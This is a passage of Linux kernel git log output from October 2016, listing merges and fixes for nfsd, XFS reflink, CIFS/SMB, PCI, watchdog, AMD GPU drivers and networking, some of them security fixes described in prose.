2778556474b1996aa68ae61619386b8802733bd8 Merge: 35a891b 29ae7f9 Author: Linus Torvalds Date: Thu Oct 13 21:04:42 2016 -0700 Merge tag 'nfsd-4.9' of git://linux-nfs.org/~bfields/linux Pull nfsd updates from Bruce Fields: "Some RDMA work and some good bugfixes, and two new features that could benefit from user testing: - Anna Schumacker contributed a simple NFSv4.2 COPY implementation. COPY is already supported on the client side, so a call to copy_file_range() on a recent client should now result in a server-side copy that doesn't require all the data to make a round trip to the client and back. - Jeff Layton implemented callbacks to notify clients when contended locks become available, which should reduce latency on workloads with contended locks" * tag 'nfsd-4.9' of git://linux-nfs.org/~bfields/linux: NFSD: Implement the COPY call nfsd: handle EUCLEAN nfsd: only WARN once on unmapped errors exportfs: be careful to only return expected errors. nfsd4: setclientid_confirm with unmatched verifier should fail nfsd: randomize SETCLIENTID reply to help distinguish servers nfsd: set the MAY_NOTIFY_LOCK flag in OPEN replies nfs: add a new NFS4_OPEN_RESULT_MAY_NOTIFY_LOCK constant nfsd: add a LRU list for blocked locks nfsd: have nfsd4_lock use blocking locks for v4.1+ locks nfsd: plumb in a CB_NOTIFY_LOCK operation NFSD: fix corruption in notifier registration svcrdma: support Remote Invalidation svcrdma: Server-side support for rpcrdma_connect_private rpcrdma: RDMA/CM private message data structure svcrdma: Skip put_page() when send_reply() fails svcrdma: Tail iovec leaves an orphaned DMA mapping nfsd: fix dprintk in nfsd4_encode_getdeviceinfo nfsd: eliminate cb_minorversion field nfsd: don't set a FL_LAYOUT lease for flexfiles layouts commit 35a891be96f1f8e1227e6ad3ca827b8a08ce47ea Merge: 40bd3a5 feac470 Author: Linus Torvalds Date: Thu Oct 13 20:28:22 2016 -0700 Merge tag 'xfs-reflink-for-linus-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs < XFS has gained super CoW powers! > ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || Pull XFS support for shared data extents from Dave Chinner: "This is the second part of the XFS updates for this merge cycle. This pullreq contains the new shared data extents feature for XFS. Given the complexity and size of this change I am expecting - like the addition of reverse mapping last cycle - that there will be some follow-up bug fixes and cleanups around the -rc3 stage for issues that I'm sure will show up once the code hits a wider userbase. What it is: At the most basic level we are simply adding shared data extents to XFS - i.e. a single extent on disk can now have multiple owners. To do this we have to add new on-disk features to both track the shared extents and the number of times they've been shared. This is done by the new "refcount" btree that sits in every allocation group. When we share or unshare an extent, this tree gets updated. Along with this new tree, the reverse mapping tree needs to be updated to track each owner or a shared extent. This also needs to be updated ever share/unshare operation. These interactions at extent allocation and freeing time have complex ordering and recovery constraints, so there's a significant amount of new intent-based transaction code to ensure that operations are performed atomically from both the runtime and integrity/crash recovery perspectives. We also need to break sharing when writes hit a shared extent - this is where the new copy-on-write implementation comes in. We allocate new storage and copy the original data along with the overwrite data into the new location. We only do this for data as we don't share metadata at all - each inode has it's own metadata that tracks the shared data extents, the extents undergoing CoW and it's own private extents. Of course, being XFS, nothing is simple - we use delayed allocation for CoW similar to how we use it for normal writes. ENOSPC is a significant issue here - we build on the reservation code added in 4.8-rc1 with the reverse mapping feature to ensure we don't get spurious ENOSPC issues part way through a CoW operation. These mechanisms also help minimise fragmentation due to repeated CoW operations. To further reduce fragmentation overhead, we've also introduced a CoW extent size hint, which indicates how large a region we should allocate when we execute a CoW operation. With all this functionality in place, we can hook up .copy_file_range, .clone_file_range and .dedupe_file_range and we gain all the capabilities of reflink and other vfs provided functionality that enable manipulation to shared extents. We also added a fallocate mode that explicitly unshares a range of a file, which we implemented as an explicit CoW of all the shared extents in a file. As such, it's a huge chunk of new functionality with new on-disk format features and internal infrastructure. It warns at mount time as an experimental feature and that it may eat data (as we do with all new on-disk features until they stabilise). We have not released userspace suport for it yet - userspace support currently requires download from Darrick's xfsprogs repo and build from source, so the access to this feature is really developer/tester only at this point. Initial userspace support will be released at the same time the kernel with this code in it is released. The new code causes 5-6 new failures with xfstests - these aren't serious functional failures but things the output of tests changing slightly due to perturbations in layouts, space usage, etc. OTOH, we've added 150+ new tests to xfstests that specifically exercise this new functionality so it's got far better test coverage than any functionality we've previously added to XFS. Darrick has done a pretty amazing job getting us to this stage, and special mention also needs to go to Christoph (review, testing, improvements and bug fixes) and Brian (caught several intricate bugs during review) for the effort they've also put in. Summary: - unshare range (FALLOC_FL_UNSHARE) support for fallocate - copy-on-write extent size hints (FS_XFLAG_COWEXTSIZE) for fsxattr interface - shared extent support for XFS - copy-on-write support for shared extents - copy_file_range support - clone_file_range support (implements reflink) - dedupe_file_range support - defrag support for reverse mapping enabled filesystems" * tag 'xfs-reflink-for-linus-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs: (71 commits) xfs: convert COW blocks to real blocks before unwritten extent conversion xfs: rework refcount cow recovery error handling xfs: clear reflink flag if setting realtime flag xfs: fix error initialization xfs: fix label inaccuracies xfs: remove isize check from unshare operation xfs: reduce stack usage of _reflink_clear_inode_flag xfs: check inode reflink flag before calling reflink functions xfs: implement swapext for rmap filesystems xfs: refactor swapext code xfs: various swapext cleanups xfs: recognize the reflink feature bit xfs: simulate per-AG reservations being critically low xfs: don't mix reflink and DAX mode for now xfs: check for invalid inode reflink flags xfs: set a default CoW extent size of 32 blocks xfs: convert unwritten status of reverse mappings for shared files xfs: use interval query for rmap alloc operations on shared files xfs: add shared rmap map/unmap/convert log item types xfs: increase log reservations for reflink ... commit de74025052ef63852d80a444ea19f2bdd7bec63f Author: Pavel Shilovsky Date: Tue Oct 11 15:34:07 2016 -0700 CIFS: Reset read oplock to NONE if we have mandatory locks after reopen We are already doing the same thing for an ordinary open case: we can't keep read oplock on a file if we have mandatory byte-range locks because pagereading can conflict with these locks on a server. Fix it by setting oplock level to NONE. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French fs/cifs/file.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit f2cca6a7c99fdeadacd0bdc37d825c4bc2b03653 Author: Pavel Shilovsky Date: Fri Oct 7 17:26:36 2016 -0700 CIFS: Fix persistent handles re-opening on reconnect openFileList of tcon can be changed while cifs_reopen_file() is called that can lead to an unexpected behavior when we return to the loop. Fix this by introducing a temp list for keeping all file handles that need to be reopen. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French fs/cifs/cifsglob.h | 1 + fs/cifs/file.c | 22 +++++++++++++++++----- 2 files changed, 18 insertions(+), 5 deletions(-) commit 166cea4dc3a4f66f020cfb9286225ecd228ab61d Author: Sachin Prabhu Date: Fri Oct 7 19:11:22 2016 +0100 SMB2: Separate RawNTLMSSP authentication from SMB2_sess_setup We split the rawntlmssp authentication into negotiate and authencate parts. We also clean up the code and add helpers. Signed-off-by: Sachin Prabhu Signed-off-by: Steve French Reviewed-by: Pavel Shilovsky fs/cifs/smb2pdu.c | 361 ++++++++++++++++++++++++------------------------------ 1 file changed, 162 insertions(+), 199 deletions(-) commit 3baf1a7b921500596b77487d5a34a27d656fc032 Author: Sachin Prabhu Date: Fri Oct 7 19:11:21 2016 +0100 SMB2: Separate Kerberos authentication from SMB2_sess_setup Add helper functions and split Kerberos authentication off SMB2_sess_setup. Signed-off-by: Sachin Prabhu Signed-off-by: Steve French Reviewed-by: Pavel Shilovsky fs/cifs/smb2pdu.c | 276 +++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 230 insertions(+), 46 deletions(-) commit cb978ac8b85fa8861352e57fcf8020f7f7bfbd82 Author: Germano Percossi Date: Fri Sep 30 21:25:24 2016 -0500 Expose cifs module parameters in sysfs /sys/module/cifs/parameters should display the three other module load time configuration settings for cifs.ko Signed-off-by: Germano Percossi Signed-off-by: Steve French fs/cifs/cifsfs.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 24df1483c272c99ed88b0cba135d0e1dfdee3930 Author: Steve French Date: Thu Sep 29 04:20:23 2016 -0500 Cleanup missing frees on some ioctls Cleanup some missing mem frees on some cifs ioctls, and clarify others to make more obvious that no data is returned. CC: Stable Signed-off-by: Steve French Acked-by: Sachin Prabhu fs/cifs/smb2ops.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 834170c85978b0e85805364f623393968f7a9b5e Author: Steve French Date: Fri Sep 30 21:14:26 2016 -0500 Enable previous version support Add ioctl to query previous versions of file Allows listing snapshots on files on SMB3 mounts. Signed-off-by: Steve French fs/cifs/cifs_ioctl.h | 8 ++++++++ fs/cifs/cifsglob.h | 2 ++ fs/cifs/ioctl.c | 16 ++++++++++++++-- fs/cifs/smb2ops.c | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 72 insertions(+), 2 deletions(-) commit 18dd8e1a65ddae2351d0f0d6dd4a334f441fc5fa Author: Steve French Date: Mon Sep 26 14:23:08 2016 -0500 Do not send SMB3 SET_INFO request if nothing is changing [CIFS] We had cases where we sent a SMB2/SMB3 setinfo request with all timestamp (and DOS attribute) fields marked as 0 (ie do not change) e.g. on chmod or chown. Signed-off-by: Steve French CC: Stable fs/cifs/smb2inode.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 1134ca268e7387773cd6cf57aa82cc9d5e0f9127 Merge: c758f96 930e192 Author: Dmitry Torokhov Date: Thu Oct 13 17:23:40 2016 -0700 Merge branch 'next' into for-linus Prepare second round of input updates for 4.9 merge window. commit 40bd3a5f341b4ef4c6a49fb68938247d3065d8ad Merge: 44dc8c9 217c6d2 Author: Linus Torvalds Date: Thu Oct 13 17:08:58 2016 -0700 Merge tag 'pci-v4.9-changes-2' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci PCI changes for the v4.9 merge window: "Here are some more changes I'd like to have in v4.9. There's one small Tegra bug fix in the PHY poweroff path, which is only used in failure paths. The rest is all strictly cleanup that should make host bridge drivers more readable, but shouldn't actually change any behavior. Summary: - use local struct device pointers in many host bridge drivers for clarity - remove unused platform data - use generic DesignWare accessors - misc cleanups: remove redundant structure entries and re-order structure members to put comon generic fields first etc" * tag 'pci-v4.9-changes-2' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci: (108 commits) MAINTAINERS: Add maintainer for the PCIe Marvell Armada 8K driver MAINTAINERS: Add DT binding to the Aardvark PCIe driver maintainer PCI: rockchip: Indent "if" statement body PCI: hisi: Reorder struct hisi_pcie PCI: hisi: Pass device-specific struct to internal functions PCI: hisi: Include register block base in PCIE_SYS_STATE4 address PCI: dra7xx: Reorder struct dra7xx_pcie PCI: xilinx-nwl: Remove unused platform data PCI: xilinx-nwl: Add local struct device pointers PCI: xilinx: Removed unused xilinx_pcie_assign_msi() argument PCI: xilinx: Remove unused platform data PCI: xilinx: Add local struct device pointers PCI: xgene: Add register accessors PCI: xgene: Pass struct xgene_pcie_port to setup functions PCI: xgene: Remove unused platform data PCI: tegra: Remove unused platform data PCI: tegra: Add local struct device pointers PCI: tegra: Fix argument order in tegra_pcie_phy_disable() PCI: rockchip: Remove unused platform data PCI: rcar-gen2: Add local struct device pointers ... commit 44dc8c9d685a2b7c9d4f5a87c746799c80aa53f0 Merge: e3799a2 127595e Author: Linus Torvalds Date: Thu Oct 13 16:52:39 2016 -0700 Merge tag 'platform-drivers-x86-v4.9-1' of git://git.infradead.org/users/dvhart/linux-platform-drivers-x86 Pull x86 platform drivers updates from Darren Hart: "Cleanups, refactoring, and a couple bug fixes. intel_pmc_core: - avoid boot time warning for !CONFIG_DEBUGFS_FS intel_pmc_ipc: - Convert to use platform_device_register_full asus-wmi: - Filter buggy scan codes on ASUS Q500A toshiba_bluetooth: - Decouple an error checking status code toshiba_haps: - Change logging level from info to debug - Split ACPI and HDD protection error handling asus-laptop: - get rid of parse_arg() asus-wmi: - fix asus ux303ub brightness issue toshiba_acpi: - Fix typo in *_cooling_method_set function - Change error checking logic from TCI functions - Clean up variable declaration" * tag 'platform-drivers-x86-v4.9-1' of git://git.infradead.org/users/dvhart/linux-platform-drivers-x86: platform/x86: intel_pmc_core: avoid boot time warning for !CONFIG_DEBUGFS_FS platform/x86: intel_pmc_ipc: Convert to use platform_device_register_full platform/x86: asus-wmi: Filter buggy scan codes on ASUS Q500A platform/x86: toshiba_bluetooth: Decouple an error checking status code platform/x86: toshiba_haps: Change logging level from info to debug platform/x86: toshiba_haps: Split ACPI and HDD protection error handling platform/x86: asus-laptop: get rid of parse_arg() platform/x86: asus-wmi: fix asus ux303ub brightness issue platform/x86: toshiba_acpi: Fix typo in *_cooling_method_set function platform/x86: toshiba_acpi: Change error checking logic from TCI functions platform/x86: toshiba_acpi: Clean up variable declaration commit e3799a210d794fda0fa2ae99841d30cadf76069c Merge: b67be92 39487f6 Author: Linus Torvalds Date: Thu Oct 13 16:44:20 2016 -0700 Merge git://www.linux-watchdog.org/linux-watchdog Pull watchdog updates from Wim Van Sebroeck: - a new watchdog pretimeout governor framework - support to upload the firmware on the ziirave_wdt - several fixes and cleanups * git://www.linux-watchdog.org/linux-watchdog: (26 commits) watchdog: imx2_wdt: add pretimeout function support watchdog: softdog: implement pretimeout support watchdog: pretimeout: add pretimeout_available_governors attribute watchdog: pretimeout: add option to select a pretimeout governor in runtime watchdog: pretimeout: add panic pretimeout governor watchdog: pretimeout: add noop pretimeout governor watchdog: add watchdog pretimeout governor framework watchdog: hpwdt: add support for iLO5 fs: compat_ioctl: add pretimeout functions for watchdogs watchdog: add pretimeout support to the core watchdog: imx2_wdt: use preferred BIT macro instead of open coded values watchdog: st_wdt: Remove support for obsolete platforms watchdog: bindings: Remove obsolete platforms from dt doc. watchdog: mt7621_wdt: Remove assignment of dev pointer watchdog: rt2880_wdt: Remove assignment of dev pointer watchdog: constify watchdog_ops structures watchdog: tegra: constify watchdog_ops structures watchdog: iTCO_wdt: constify iTCO_wdt_pm structure watchdog: cadence_wdt: Fix the suspend resume watchdog: txx9wdt: Add missing clock (un)prepare calls for CCF ... commit aee3960a0ca34f8bf7dbcdb330c4f37a0f94dd8a Author: Tom St Denis Date: Thu Oct 13 17:46:45 2016 -0400 drm/amdgpu/si_dpm: Limit clocks on HD86xx part Limit clocks on a specific HD86xx part to avoid crashes (while awaiting an appropriate PP fix). Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 24e8df6a6837d6cff182e84b838dc1d6971251fc Author: Rex Zhu Date: Thu Oct 13 15:32:04 2016 +0800 drm/amd/powerplay: fix static checker warnings in smu7_hwmgr.c Signed-off-by: Rex Zhu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit eeb2fa0c97ba661f8b7fb210a1de10928b67a47b Author: Dan Carpenter Date: Wed Oct 12 09:17:30 2016 +0300 drm/amdgpu: potential NULL dereference in debugfs code debugfs_create_file() returns NULL on error, it only returns error pointers if debugfs isn't enabled in the config and we checked for that earlier so it can't happen. Fixes: 4f4824b55650 ('drm/amd/amdgpu: Convert ring debugfs entries to binary') Reviewed-by: Christian König Signed-off-by: Dan Carpenter Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ring.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9faa6b0277fab4ab91db4d69bc47566fdfbae48b Author: Rex Zhu Date: Tue Oct 11 18:51:16 2016 +0800 drm/amd/powerplay: fix static checker warnings in smu7_hwmgr.c variable dereferenced before check it Signed-off-by: Rex Zhu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit e07053241b0264e7b107b2b3f4d899635985d353 Author: Rex Zhu Date: Tue Oct 11 18:44:46 2016 +0800 drm/amd/powerplay: fix static checker warnings in iceland_smc.c add array length check to avoid buffer overflow. Signed-off-by: Rex Zhu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/iceland_smc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 02cfb5fccb0f9f968f0e208d89d9769aa16267bc Author: Alex Deucher Date: Wed Oct 12 15:28:55 2016 -0400 drm/radeon: change vblank_time's calculation method to reduce computational error. Ported from Rex's amdgpu change. Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/radeon/r600_dpm.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit dc8184aa8621ee8048652496884d9f40d4bb407f Author: Rex Zhu Date: Mon Oct 10 15:57:21 2016 +0800 drm/amdgpu: change vblank_time's calculation method to reduce computational error. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_dpm.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit c197d758036d8c77923ae3f88571cf198283107e Author: Hoan Tran Date: Thu Oct 13 10:33:35 2016 -0700 cpufreq: CPPC: Correct desired_perf calculation The desired_perf is an abstract performance number. Its value should be in the range of [lowest perf, highest perf] of CPPC. The correct calculation is desired_perf = freq * cppc_highest_perf / cppc_dmi_max_khz And cppc_cpufreq_set_target() returns if desired_perf is exactly the same with the old perf. Signed-off-by: Hoan Tran Reviewed-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cppc_cpufreq.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit a3f9d1b58a9ffce011ef4f074bfa36ae30eade28 Author: Benjamin Coddington Date: Tue Oct 11 15:53:21 2016 -0400 pnfs/blocklayout: fix last_write_offset incorrectly set to page boundary Commit 41963c10c47a35185e68cb9049f7a3493c94d2d7 sets the block layout's last written byte to the offset of the end of the extent rather than the end of the write which incorrectly updates the inode's size for partial-page writes. Fixes: 41963c10c47a ("pnfs/blocklayout: update last_write_offset atomically with extents") Signed-off-by: Benjamin Coddington Reviewed-by: Christoph Hellwig Tested-by: Christoph Hellwig Cc: stable@vger.kernel.org # 4.8+ Signed-off-by: Anna Schumaker fs/nfs/blocklayout/blocklayout.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f208b87b48d5af2ea483293eccb3998c467dfba1 Author: Rich Felker Date: Sun Oct 9 02:35:08 2016 -0400 sh: support CPU_J2 when compiler lacks -mj2 Signed-off-by: Rich Felker arch/sh/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4eb6753c3324873752f56543e149956e39dd32b6 Author: Nikolay Aleksandrov Date: Thu Oct 13 15:20:52 2016 +0200 net: bridge: add the multicast_flood flag attribute to brport_attrs When I added the multicast flood control flag, I also added an attribute for it for sysfs similar to other flags, but I forgot to add it to brport_attrs. Fixes: b6cb5ac8331b ("net: bridge: add per-port multicast flood flag") Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller net/bridge/br_sysfs_if.c | 1 + 1 file changed, 1 insertion(+) commit 5852e93d4b67b9996a18541a657f87f1ae8c6a4a Author: Tobias Klauser Date: Thu Oct 13 13:28:33 2016 +0200 net: axienet: Remove unused parameter from __axienet_device_reset The dev parameter passed to __axienet_device_reset() is not used inside the function, so remove it. Signed-off-by: Tobias Klauser Reviewed-by: Michal Simek Signed-off-by: David S. Miller drivers/net/ethernet/xilinx/xilinx_axienet_main.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 10f6c4d6ab2cdde768e29f41fbfbdde6c91fd1ff Author: Dan Carpenter Date: Thu Oct 13 11:56:57 2016 +0300 liquidio: CN23XX: fix a loop timeout This is supposed to loop 1000 times and then give up. The problem is it's a post-op and after the loop we test if "loop" is zero when really it would be -1. Fix this by making it a pre-op. Fixes: 1b7c55c4538b ("liquidio: CN23XX queue manipulation") Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/cn23xx_pf_device.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 775f4f05501b3e36550ab63a592de3abd02e7591 Author: Dan Carpenter Date: Thu Oct 13 11:45:28 2016 +0300 net: rtnl: info leak in rtnl_fill_vfinfo() The "vf_vlan_info" struct ends with a 2 byte struct hole so we have to memset it to ensure that no stack information is revealed to user space. Fixes: 79aab093a0b5 ('net: Update API for VF vlan protocol 802.1ad support') Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller net/core/rtnetlink.c | 2 ++ 1 file changed, 2 insertions(+) commit 7307616245babb12c923151d8ef69af02e46c255 Author: Dan Carpenter Date: Thu Oct 13 11:06:06 2016 +0300 tipc: info leak in __tipc_nl_add_udp_addr() We should clear out the padding and unused struct members so that we don't expose stack information to userspace. Fixes: fdb3accc2c15 ('tipc: add the ability to get UDP options via netlink') Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller net/tipc/udp_media.c | 2 ++ 1 file changed, 2 insertions(+) commit 6104e112f4a613506ba1ea9d4b974279f888006b Author: David Ahern Date: Wed Oct 12 13:20:11 2016 -0700 net: ipv4: Do not drop to make_route if oif is l3mdev Commit e0d56fdd7342 was a bit aggressive removing l3mdev calls in the IPv4 stack. If the fib_lookup fails we do not want to drop to make_route if the oif is an l3mdev device. Also reverts 19664c6a0009 ("net: l3mdev: Remove netif_index_is_l3_master") which removed netif_index_is_l3_master. Fixes: e0d56fdd7342 ("net: l3mdev: remove redundant calls") Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/l3mdev.h | 24 ++++++++++++++++++++++++ net/ipv4/route.c | 3 ++- 2 files changed, 26 insertions(+), 1 deletion(-) commit 50a2c95381a7d0e453d7bdfde81d0c5f8351ba54 Author: David Howells Date: Thu Oct 13 08:27:10 2016 +0100 afs: call->operation_ID sometimes used as __be32 sometimes as u32 call->operation_ID is sometimes being used as __be32 sometimes is being used as u32. Be consistent and settle on using as u32. Signed-off-by: David Howells Date: Wed Oct 12 22:14:53 2016 +0200 net: phy: Trigger state machine on state change and not polling. The phy_start() is used to indicate the PHY is now ready to do its work. The state is changed, normally to PHY_UP which means that both the MAC and the PHY are ready. If the phy driver is using polling, when the next poll happens, the state machine notices the PHY is now in PHY_UP, and kicks off auto-negotiation, if needed. If however, the PHY is using interrupts, there is no polling. The phy is stuck in PHY_UP until the next interrupt comes along. And there is no reason for the PHY to interrupt. Have phy_start() schedule the state machine to run, which both speeds up the polling use case, and makes the interrupt use case actually work. This problems exists whenever there is a state change which will not cause an interrupt. Trigger the state machine in these cases, e.g. phy_error(). Signed-off-by: Andrew Lunn Cc: Kyle Roeschley Tested-by: Kyle Roeschley Signed-off-by: David S. Miller drivers/net/phy/phy.c | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) commit 38b8767462120c62a5046b529c80b06861f9ac85 Author: Ralf Baechle Date: Thu Oct 13 17:09:36 2016 +0200 Documentation: MIPS supports HAVE_REGS_AND_STACK_ACCESS_API This should have been part of 40e084a506eb ('MIPS: Add uprobes support.'). Signed-off-by: Ralf Baechle Fixes: 40e084a506eb ("MIPS: Add uprobes support.") Acked-by: Jonathan Corbet Cc: linux-mips@linux-mips.org Cc: linux-doc@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14392/ Signed-off-by: Ralf Baechle Documentation/features/perf/kprobes-event/arch-support.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8ce48623f0cf3d632e32448411feddccb693d351 Author: Eric Dumazet Date: Wed Oct 12 19:01:45 2016 +0200 ipv6: tcp: restore IP6CB for pktoptions skbs Baozeng Ding reported following KASAN splat : BUG: KASAN: use-after-free in ip6_datagram_recv_specific_ctl+0x13f1/0x15c0 at addr ffff880029c84ec8 Read of size 1 by task poc/25548 Call Trace: [] dump_stack+0x12e/0x185 /lib/dump_stack.c:15 [< inline >] print_address_description /mm/kasan/report.c:204 [] kasan_report_error+0x48b/0x4b0 /mm/kasan/report.c:283 [< inline >] kasan_report /mm/kasan/report.c:303 [] __asan_report_load1_noabort+0x3e/0x40 /mm/kasan/report.c:321 [] ip6_datagram_recv_specific_ctl+0x13f1/0x15c0 /net/ipv6/datagram.c:687 [] ip6_datagram_recv_ctl+0x33/0x40 [] do_ipv6_getsockopt.isra.4+0xaec/0x2150 [] ipv6_getsockopt+0x116/0x230 [] tcp_getsockopt+0x82/0xd0 /net/ipv4/tcp.c:3035 [] sock_common_getsockopt+0x95/0xd0 /net/core/sock.c:2647 [< inline >] SYSC_getsockopt /net/socket.c:1776 [] SyS_getsockopt+0x142/0x230 /net/socket.c:1758 [] entry_SYSCALL_64_fastpath+0x23/0xc6 Memory state around the buggy address: ffff880029c84d80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff880029c84e00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff > ffff880029c84e80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ^ ffff880029c84f00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff880029c84f80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff He also provided a syzkaller reproducer. Issue is that ip6_datagram_recv_specific_ctl() expects to find IP6CB data that was moved at a different place in tcp_v6_rcv() This patch moves tcp_v6_restore_cb() up and calls it from tcp_v6_do_rcv() when np->pktoptions is set. Fixes: 971f10eca186 ("tcp: better TCP_SKB_CB layout to reduce cache line misses") Signed-off-by: Eric Dumazet Reported-by: Baozeng Ding Signed-off-by: David S. Miller net/ipv6/tcp_ipv6.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) commit 3f2b0a5a3583a2c6c3aeb2d59e7f775d43faa89c Author: David S. Miller Date: Thu Oct 13 11:04:07 2016 -0400 netvsc: Remove mistaken udp.h inclusion. Based upon v2 of Stephen's patch. Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 1 - 1 file changed, 1 deletion(-) commit f112be65fd3964ec2d56ddd0d5e6061b0fd502da Author: Arnd Bergmann Date: Wed Oct 12 16:54:01 2016 +0200 xen-netback: fix type mismatch warning Wiht the latest rework of the xen-netback driver, we get a warning on ARM about the types passed into min(): drivers/net/xen-netback/rx.c: In function 'xenvif_rx_next_chunk': include/linux/kernel.h:739:16: error: comparison of distinct pointer types lacks a cast [-Werror] The reason is that XEN_PAGE_SIZE is not size_t here. There is no actual bug, and we can easily avoid the warning using the min_t() macro instead of min(). Fixes: eb1723a29b9a ("xen-netback: refactor guest rx") Signed-off-by: Arnd Bergmann Acked-by: Paul Durrant Signed-off-by: David S. Miller drivers/net/xen-netback/rx.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7086605a6ab57a5a37eb613cfe214fc62d2bb87b Author: Giuseppe CAVALLARO Date: Wed Oct 12 15:42:04 2016 +0200 stmmac: fix error check when init ptp This patch fixes a problem when propagated the failure of ptp_clock_register to open function. Signed-off-by: Giuseppe Cavallaro Cc: Alexandre TORGUE Cc: Rayagond Kokatanur Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 4 ++-- drivers/net/ethernet/stmicro/stmmac/stmmac_ptp.c | 10 ++++++---- 2 files changed, 8 insertions(+), 6 deletions(-) commit be9b3174c49109457c490a0ad8976aaeb3df5585 Author: Giuseppe CAVALLARO Date: Wed Oct 12 15:42:03 2016 +0200 stmmac: fix ptp init for gmac4 The gmac 4.x version has not extended descriptors (that are available on 3.x instead of). While initializing the PTP module, the advanced PTP was enabled in case of extended descriptors. This cannot be applied for 4.x version where only the hardware capability register has to show if the feature is present. Patch also adds some extra netdev_(debug/inof) to better dump the configuration. Signed-off-by: Giuseppe Cavallaro Cc: Alexandre TORGUE Cc: Rayagond Kokatanur Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit d4e991313bd5e10bfa66cd280b8fce6dc3f2d897 Author: Arnd Bergmann Date: Mon Oct 10 13:59:16 2016 +0200 qed: fix old-style function definition The definition of qed_get_rdma_ops() is not a prototype unless we add 'void' here, as indicated by this W=1 warning: drivers/net/ethernet/qlogic/qed/qed_roce.c: In function ‘qed_get_rdma_ops’: drivers/net/ethernet/qlogic/qed/qed_roce.c:2950:28: error: old-style function definition [-Werror=old-style-definition] Fixes: abd49676c707 ("qed: Add RoCE ll2 & GSI support") Signed-off-by: Arnd Bergmann Acked-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_roce.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ad19bc8a95baee4588e9ec4481297d97c0bec765 Author: stephen hemminger Date: Tue Oct 11 14:03:07 2016 -0700 netvsc: fix checksum on UDP IPV6 The software calculation of UDP checksum in Netvsc driver was only handling IPv4 case. By using skb_checksum_help() instead all protocols can be handled. Rearrange code to eliminate goto and look like other drivers. This is a temporary solution; recent versions of Window Server etc do support UDP checksum offload, just need to do the appropriate negotiation with host to validate before using. This will be done in later patch. Please queue this for -stable as well. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 72 +++++++++++++---------------------------- 1 file changed, 22 insertions(+), 50 deletions(-) commit adf08d481b52824c87af028fc74dc692d179f7f4 Author: Masahiro Yamada Date: Thu Oct 13 19:07:54 2016 +0900 regmap: include from include/linux/regmap.h The readx_poll_timeout() macro calls usleep_range(), which is declared in . Make include/linux/regmap.h include , like include/linux/iopoll.h does. Otherwise, users of the macro will see "implicit declaration of function 'usleep_range'" error. Signed-off-by: Masahiro Yamada Signed-off-by: Mark Brown include/linux/regmap.h | 1 + 1 file changed, 